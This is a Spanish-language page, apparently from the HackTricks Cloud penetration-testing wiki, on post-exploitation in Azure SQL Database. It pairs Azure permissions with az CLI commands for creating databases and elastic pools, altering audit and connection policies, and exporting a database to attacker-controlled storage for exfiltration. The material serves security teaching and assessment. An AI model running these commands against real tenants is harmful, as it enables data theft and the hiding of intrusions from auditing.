Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md

4.9 KiB

Az - SQL Database Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

SQL Database Post Exploitation

Para más información sobre SQL Database consulta:

{{#ref}} ../az-services/az-sql.md {{#endref}}

"Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"

Con estos permisos, un atacante puede crear y actualizar bases de datos dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de la base de datos o insertar puertas traseras para una mayor persistencia, potencialmente interrumpiendo operaciones o habilitando acciones maliciosas adicionales.

# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

"Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"

Con estos permisos, un atacante puede crear y actualizar elasticPools dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de bases de datos o insertar puertas traseras para una mayor persistencia, lo que podría interrumpir las operaciones o habilitar acciones maliciosas adicionales.

# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

"Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"

Con este permiso, puedes modificar o habilitar la configuración de auditoría en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado manipular las configuraciones de auditoría, potencialmente cubriendo sus huellas o redirigiendo los registros de auditoría a una ubicación bajo su control. Esto puede obstaculizar la monitorización de seguridad o permitir que se realice un seguimiento de las acciones. NOTA: Para habilitar la auditoría para un Azure SQL Server utilizando Blob Storage, debes adjuntar una cuenta de almacenamiento donde se puedan guardar los registros de auditoría.

az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

"Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"

Con este permiso, puedes modificar las políticas de conexión de un Azure SQL Server. Esta capacidad puede ser explotada para habilitar o cambiar la configuración de conexión a nivel de servidor.

az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

"Microsoft.Sql/servers/databases/export/action"

Con este permiso, puedes exportar una base de datos de un Azure SQL Server a una cuenta de almacenamiento. Un atacante o usuario autorizado con este permiso puede exfiltrar datos sensibles de la base de datos exportándola a una ubicación que controlan, lo que representa un riesgo significativo de filtración de datos. Es importante conocer la clave de almacenamiento para poder realizar esto.

az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

"Microsoft.Sql/servers/databases/import/action"

Con este permiso, puedes importar una base de datos en un Azure SQL Server. Un atacante o usuario autorizado con este permiso puede potencialmente subir bases de datos maliciosas o manipuladas. Esto puede llevar a obtener control sobre datos sensibles o a incrustar scripts o triggers dañinos dentro de la base de datos importada. Adicionalmente, puedes importarlo a tu propio servidor en Azure. Nota: El servidor debe permitir que los servicios y recursos de Azure accedan al servidor.

az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"

{{#include ../../../banners/hacktricks-training.md}}